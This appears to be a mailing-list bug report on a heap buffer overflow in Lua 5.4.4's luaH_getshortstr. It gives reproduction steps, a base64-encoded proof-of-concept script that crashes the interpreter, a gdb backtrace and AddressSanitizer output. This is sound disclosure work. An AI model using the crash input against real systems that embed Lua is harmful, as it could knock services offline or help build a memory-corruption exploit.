[Date Prev][Date Next][Thread Prev][Thread Next]
[Date Index]
[Thread Index]
- Subject: heap-buffer-overflow in luaH_getshortstr
- From: Кныжов Никита <knnikita@...>
- Date: Thu, 03 Feb 2022 14:00:21 +0300
Hi,
I found a heap a heap buffer overflow on read in luaH_getshortstr function.
Lua version:
Lua 5.4.4 Copyright (C) 1994-2022 Lua.org, PUC-Rio (commit 5d708c3f9cae12820e415d4f89c9eacbe2ab964b)
How to reprocude:
----------
1. git clone https://github.com/lua/lua -q
2. cd lua/ && make -j$(nproc)
3. echo -n "bG9jYWwgdSxfLE4sXyx3LE4sZCxXCmZ1bmN0aW9uIGMoRSxMLGwsUyxULHUsTSxULGwsaCxoLHUsdSxsLGgsaCx1LHUsTSx1LHUsdSxsLGgsaCxsKXM9cyBsb2NhbAllLGUsXyxfLE4sZSxzMCxOLFYsXyBmdW5jdGlvbiBjKGIsbClpLHM9TiBsb2NhbCBjIGxvY2FsIF9FTlY8Y29uc3Q+ID0wIG89MCBmdW5jdGlvbiBlKCllbmQ7ZSIicmV0dXJuIGVuZDtlMCxhLHcscyxzLHM9IiJyZXR1cm4jYyIiZW5kO2VlPSIicmV0dXJuDGMiIg==" | base64 -d > poc
4. ./lua ./poc
----------
Tested on Ubuntu-20.04 x86_64.
Debug log:
===================
pres1er :: /dev/shm/lua ‹master*› » gdb ./lua -q
Reading symbols from ./lua...
(gdb) r ./poc.lua
Starting program: /run/shm/lua/lua ./poc.lua
Program received signal SIGSEGV, Segmentation fault.
luaH_getshortstr (t=0x55555559d410, key=0x555555598110) at ltable.c:760
760 if (keyisshrstr(n) && eqshrstr(keystrval(n), key))
(gdb) list
755 */
756 const TValue *luaH_getshortstr (Table *t, TString *key) {
757 Node *n = hashstr(t, key);
758 lua_assert(key->tt == LUA_VSHRSTR);
759 for (;;) { /* check whether 'key' is somewhere in the chain */
760 if (keyisshrstr(n) && eqshrstr(keystrval(n), key))
761 return gval(n); /* that's it */
762 else {
763 int nx = gnext(n);
764 if (nx == 0)
(gdb) bt
#0 luaH_getshortstr (t=0x55555559d410, key=0x555555598110) at ltable.c:760
#1 0x000055555556c2b8 in luaT_gettmbyobj (L=L@entry=0x5555555972a8, o=o@entry=0x55555559fb50, event=event@entry=TM_NEWINDEX) at ltm.c:83
#2 0x000055555556db4c in luaV_finishset (L=L@entry=0x5555555972a8, t=t@entry=0x55555559fb50, key=0x5555555a0870, val=0x55555559f890, slot=<optimized out>) at lvm.c:348
#3 0x000055555556f4cf in luaV_execute (L=L@entry=0x5555555972a8, ci=<optimized out>) at lvm.c:1336
#4 0x0000555555561834 in ccall (inc=65537, nResults=<optimized out>, func=<optimized out>, L=0x5555555972a8) at ldo.c:609
#5 luaD_callnoyield (L=0x5555555972a8, func=<optimized out>, nResults=<optimized out>) at ldo.c:627
#6 0x00005555555607b2 in luaD_rawrunprotected (L=L@entry=0x5555555972a8, f=f@entry=0x55555555cdd0 <f_call>, ud=ud@entry=0x7fffffffda40) at ldo.c:144
#7 0x0000555555561b62 in luaD_pcall (L=L@entry=0x5555555972a8, func=func@entry=0x55555555cdd0 <f_call>, u=u@entry=0x7fffffffda40, old_top=80, ef=<optimized out>) at ldo.c:926
#8 0x000055555555e57e in lua_pcallk (L=0x5555555972a8, nargs=<optimized out>, nresults=-1, errfunc=<optimized out>, ctx=<optimized out>, k=<optimized out>) at lapi.c:1067
#9 0x000055555555beaf in docall (L=0x5555555972a8, narg=0, nres=-1) at lua.c:160
#10 0x000055555555cb1e in handle_script (argv=<optimized out>, L=0x5555555972a8) at lua.c:255
#11 pmain (L=0x5555555972a8) at lua.c:634
#12 0x00005555555614af in precallC (f=0x55555555c4d0 <pmain>, nresults=1, func=<optimized out>, L=0x5555555972a8) at ldo.c:506
#13 luaD_precall (L=L@entry=0x5555555972a8, func=<optimized out>, nresults=1) at ldo.c:572
#14 0x000055555556181b in ccall (inc=65537, nResults=<optimized out>, func=<optimized out>, L=0x5555555972a8) at ldo.c:607
#15 luaD_callnoyield (L=0x5555555972a8, func=<optimized out>, nResults=<optimized out>) at ldo.c:627
#16 0x00005555555607b2 in luaD_rawrunprotected (L=L@entry=0x5555555972a8, f=f@entry=0x55555555cdd0 <f_call>, ud=ud@entry=0x7fffffffdcc0) at ldo.c:144
#17 0x0000555555561b62 in luaD_pcall (L=L@entry=0x5555555972a8, func=func@entry=0x55555555cdd0 <f_call>, u=u@entry=0x7fffffffdcc0, old_top=16, ef=<optimized out>) at ldo.c:926
#18 0x000055555555e57e in lua_pcallk (L=0x5555555972a8, nargs=<optimized out>, nresults=1, errfunc=<optimized out>, ctx=<optimized out>, k=<optimized out>) at lapi.c:1067
#19 0x000055555555bb7f in main (argc=2, argv=0x7fffffffddf8) at lua.c:660
===================
Sanitizer output:
=================================================================
==6116==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000628 at pc 0x0000005a4f86 bp 0x7ffd5ebde290 sp 0x7ffd5ebde288
READ of size 1 at 0x61a000000628 thread T0
#0 0x5a4f85 in luaV_execute /home/presler/fuzzing/lua/lvm.c:1332:13
#1 0x4fd7d3 in ccall /home/presler/fuzzing/lua/ldo.c:609:5
#2 0x4f37bf in luaD_rawrunprotected /home/presler/fuzzing/lua/ldo.c:144:3
#3 0x5004d8 in luaD_pcall /home/presler/fuzzing/lua/ldo.c:926:12
#4 0x4de05e in lua_pcallk /home/presler/fuzzing/lua/lapi.c:1067:14
#5 0x4c8ddb in docall /home/presler/fuzzing/lua/lua.c:160:12
#6 0x4c794a in handle_script /home/presler/fuzzing/lua/lua.c:255:14
#7 0x4c794a in pmain /home/presler/fuzzing/lua/lua.c:634:7
#8 0x4fc00b in precallC /home/presler/fuzzing/lua/ldo.c:506:7
#9 0x4fca30 in luaD_precall /home/presler/fuzzing/lua/ldo.c
#10 0x4fd789 in ccall /home/presler/fuzzing/lua/ldo.c:607:13
#11 0x4f37bf in luaD_rawrunprotected /home/presler/fuzzing/lua/ldo.c:144:3
#12 0x5004d8 in luaD_pcall /home/presler/fuzzing/lua/ldo.c:926:12
#13 0x4de05e in lua_pcallk /home/presler/fuzzing/lua/lapi.c:1067:14
#14 0x4c6442 in main /home/presler/fuzzing/lua/lua.c:660:12
#15 0x7f125522f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41e5ad in _start (/home/presler/fuzzing/lua/lua+0x41e5ad)
Address 0x61a000000628 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/lua/lvm.c:1332:13 in luaV_execute
Shadow bytes around the buggy address:
0x0c347fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff80b0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
=>0x0c347fff80c0: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
0x0c347fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6116==ABORTING
Found by: Nikita Knyzhov